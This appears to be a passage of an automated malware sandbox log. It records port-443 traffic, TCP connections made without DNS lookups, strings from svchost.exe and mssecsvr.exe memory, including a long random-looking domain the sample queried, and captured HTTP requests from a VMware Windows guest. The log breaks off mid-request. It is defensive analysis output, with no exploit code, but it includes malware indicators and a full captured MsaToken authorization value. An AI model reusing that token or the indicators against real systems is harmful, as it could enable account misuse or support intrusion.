Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50400
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53357
Source: unknown	Network traffic detected: HTTP traffic on port 55131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56075
Source: unknown	Network traffic detected: HTTP traffic on port 52741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52679
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52675
Source: unknown	Network traffic detected: HTTP traffic on port 52689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52681
Source: unknown	Network traffic detected: HTTP traffic on port 55740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53419
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52569
Source: unknown	Network traffic detected: HTTP traffic on port 55454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55283
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50838
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53305
Source: unknown	Network traffic detected: HTTP traffic on port 52400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55176
Source: unknown	Network traffic detected: HTTP traffic on port 52683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 59915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52347
Source: unknown	Network traffic detected: HTTP traffic on port 50859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52990
Source: unknown	Network traffic detected: HTTP traffic on port 55696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53045
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63887
Source: unknown	Network traffic detected: HTTP traffic on port 51905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52400
Source: unknown	Network traffic detected: HTTP traffic on port 52979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55365
Source: unknown	Network traffic detected: HTTP traffic on port 53004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55374
Source: unknown	Network traffic detected: HTTP traffic on port 55697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51337
Source: unknown	Network traffic detected: HTTP traffic on port 52681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55256
Source: unknown	Network traffic detected: HTTP traffic on port 55374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50490
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 55365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53004
Source: unknown	Network traffic detected: HTTP traffic on port 52563 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59915
Source: unknown	Network traffic detected: HTTP traffic on port 53106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53138
Source: unknown	Network traffic detected: HTTP traffic on port 54188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52295
Source: unknown	Network traffic detected: HTTP traffic on port 51343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52979
Source: unknown	Network traffic detected: HTTP traffic on port 52569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52619
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55205
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55208
Source: unknown	Network traffic detected: HTTP traffic on port 55287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55202
Source: unknown	Network traffic detected: HTTP traffic on port 55617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50322 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52746
Source: unknown	Network traffic detected: HTTP traffic on port 52190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55699
Source: unknown	Network traffic detected: HTTP traffic on port 53419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52190
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.137
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.134
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.134
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.134
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.134
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.134
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.134
Source: unknown	TCP traffic detected without corresponding DNS query: 155.220.14.40
Source: unknown	TCP traffic detected without corresponding DNS query: 133.161.198.111
Source: unknown	TCP traffic detected without corresponding DNS query: 51.88.41.88
Source: unknown	TCP traffic detected without corresponding DNS query: 145.138.35.197
Source: unknown	TCP traffic detected without corresponding DNS query: 83.153.156.130
Source: unknown	TCP traffic detected without corresponding DNS query: 71.4.117.212
Source: unknown	TCP traffic detected without corresponding DNS query: 29.254.232.230

Source: svchost.exe, 00000018.00000002.685164490.00000209CDB00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000018.00000002.685164490.00000209CDB00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: mssecsvr.exe.2.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
Source: mssecsvr.exe, 00000006.00000002.396579005.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000006.00000002.395980030.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000006.00000003.391831269.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000008.00000003.388074757.0000000000B64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
Source: mssecsvr.exe, 00000008.00000002.987068112.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ
Source: svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000018.00000003.642574149.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.643362636.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642771075.00000209CDB97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642862532.00000209CDBA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.hotspotshield.com/
Source: svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000018.00000003.642574149.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.643362636.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642771075.00000209CDB97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642862532.00000209CDBA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hotspotshield.com/terms/
Source: svchost.exe, 00000018.00000003.642574149.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.643362636.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642771075.00000209CDB97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642862532.00000209CDBA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pango.co/privacy
Source: svchost.exe, 00000018.00000003.659897114.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.670126362.00000209CE002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220308T161849Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3e411708572049afa944971bcf9635c0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418173&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1418173&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: mgz54+09ikKwYzUV.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220308T161849Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=41afac8ea1544e7289c7f8c0784256be&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418173&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1418173&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: mgz54+09ikKwYzUV.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?bb329f40cc4523416e23a53b82a219e7 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: b-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?c9da9c8e34792720457330e50b906a84 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: b-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?3ba8ad6f2f2268384dd0d9c11ed41879 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: fp-as.azureedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?b05e69f891148ace332a52bc3c35499b HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: fp-as.azureedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /settings/v2.0/WSD/WaaSAssessment?os=Windows&osVer=10.0.17134.1.amd64fre.rs4_release.180410-&ring=Retail&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8&UpdateOfferedDays=1399&BranchReadinessLevel=CB&PonchAllow=0&IsCloudDomainJoined=0&ProcessorIdentifier=Intel64%20Family%206%20Model%2085%20Stepping%207&CurrentBranch=rs4_release&ActivationChannel=OEM%3ANONSLP&OEMModel=VMware7%2C1&FlightRing=Retail&AttrDataVer=107&IsMDMEnrolled=0&InstallLanguage=en-US&OSUILocale=en-US&OEMModelBaseBoard=440BX%20Desktop%20Reference%20Platform&FirmwareVersion=VMW71.00V.18227214.B64.2106252220&InstallationType=Client&FlightingBranchName=&ServicingBranch=CB&GStatusBlockIDs_All=&OSSkuId=48&App=WaaSAssessment&InstallDate=1561646961&ProcessorManufacturer=GenuineIntel&OEMName_Uncleaned=VMware%2C%20Inc.&AppVer=10.0&OSArchitecture=AMD64&HonorWUfBDeferrals=0&UpdateManagementGroup=2&IsDeviceRetailDemo=0&HidOverGattReg=C%3A%5CWindows%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_467f181075371c89%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&IsFlightingEnabled=0&TelemetryLevel=1&DefaultUserRegion=244&Bios=2019&WuClientVer=10.0.17134.1&Free=32to64&OSVersion=10.0.17134.1&DeviceFamily=Windows.Desktop HTTP/1.1Connection: Keep-AliveAuthorization: MsaToken t=GwAWAX94BAAU+vB6B7/6tNI0vbzcuOrZ3eBJR2gOZgAAEDSAxuQxl//5B7o5Eenhw/ngAGscz14UoYx5FRYcz3RLOgLAUhOkUDepauWs33lqTTRIVM4AHb2D/A4m7tkMXIQYo3HZvQcUj6l9ZYwn5BHcJ/JPlnCAz/ePhOeD+DlblatxEm0NlA7JZRwdvkn/x8DyUMT01516h0c0Oiy3IeOxNY1iRh36Uvt/a2dQREO+Qqtdjs8zAvT0Og4Bnc4iosT7IVTyOM29la49uGN3LyGvGrJTur/vu4+8pftHS8bFrYJbaWDU5Tc+FH0F6pjmbzSv9Ubn3ueLrJPPI9TQeVa3OfqjeBfgXyHBz9GiSICZmjEbGwE=&p=If-None-Match: 360:66A2A3862F7048D2E5118FFF547B163A::2F143E28D4User-Agent: WaaSAssessmentHost: settings-win.data.microsoft.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: 